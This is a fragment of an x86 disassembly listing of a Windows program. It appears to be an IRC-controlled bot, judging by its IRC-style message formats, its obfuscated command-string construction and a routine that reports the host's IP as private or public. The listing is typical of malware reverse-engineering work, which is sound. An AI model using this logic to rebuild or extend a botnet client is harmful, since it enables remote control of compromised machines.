		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4119E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A60	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B20	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411B20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411BE0	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BF8:				; CODE XREF: sub_411BE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C10	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C10
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411C36
		lea	edi, [esi+11h]
		jmp	short loc_411C38
; ---------------------------------------------------------------------------


loc_411C36:				; CODE XREF: sub_411C10+1Fj
		xor	edi, edi


loc_411C38:				; CODE XREF: sub_411C10+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_411C10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8C
		lea	ebx, [esi+11h]
		jmp	short loc_411C8E
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: ___:00411C85j
		xor	ebx, ebx


loc_411C8E:				; CODE XREF: ___:00411C8Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CEB
		lea	ebx, [esi+11h]
		jmp	short loc_411CED
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: ___:00411CE4j
		xor	ebx, ebx


loc_411CED:				; CODE XREF: ___:00411CE9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D40
		lea	ebx, [esi+11h]
		jmp	short loc_411D42
; ---------------------------------------------------------------------------


loc_411D40:				; CODE XREF: ___:00411D39j
		xor	ebx, ebx


loc_411D42:				; CODE XREF: ___:00411D3Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D95
		lea	ebx, [esi+11h]
		jmp	short loc_411D97
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: ___:00411D8Ej
		xor	ebx, ebx


loc_411D97:				; CODE XREF: ___:00411D93j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE8
		lea	ebx, [esi+11h]
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: ___:00411DE1j
		xor	ebx, ebx


loc_411DEA:				; CODE XREF: ___:00411DE6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E41
		lea	ebx, [esi+11h]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411E41:				; CODE XREF: ___:00411E3Aj
		xor	ebx, ebx


loc_411E43:				; CODE XREF: ___:00411E3Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9F
		lea	ebx, [esi+11h]
		jmp	short loc_411EA1
; ---------------------------------------------------------------------------


loc_411E9F:				; CODE XREF: ___:00411E98j
		xor	ebx, ebx


loc_411EA1:				; CODE XREF: ___:00411E9Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EFA
		lea	ebx, [esi+11h]
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: ___:00411EF3j
		xor	ebx, ebx


loc_411EFC:				; CODE XREF: ___:00411EF8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F55
		lea	ebx, [esi+11h]
		jmp	short loc_411F57
; ---------------------------------------------------------------------------


loc_411F55:				; CODE XREF: ___:00411F4Ej
		xor	ebx, ebx


loc_411F57:				; CODE XREF: ___:00411F53j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4120B0	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4120B0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4121B2
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_4120B0+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412229
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_412229:				; CODE XREF: sub_4120B0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122E4
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412602
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4122E4:				; CODE XREF: sub_4120B0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41238D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_4120B0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FB
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_4490F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4123FB:				; CODE XREF: sub_4120B0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41245D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41245D:				; CODE XREF: sub_4120B0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124FD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_4120B0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412602
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412602
; ---------------------------------------------------------------------------


loc_4125D9:				; CODE XREF: sub_4120B0+3Aj
					; sub_4120B0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412602:				; CODE XREF: sub_4120B0+FDj
					; sub_4120B0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4120B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412780	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5FADE9
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F30
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_41288B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412890
; ---------------------------------------------------------------------------


loc_41288B:				; CODE XREF: sub_412780+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412890:				; CODE XREF: sub_412780+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412940	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41299E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412940+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129D0	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_4129D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A40	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412A40
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A77
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A77:				; CODE XREF: sub_412A40+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A98
		mov	eax, dword_4490C0
		push	eax
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_412A40+4Ej
		mov	ecx, dword_4490C8
		push	ecx


loc_412A9F:				; CODE XREF: sub_412A40+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B70	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
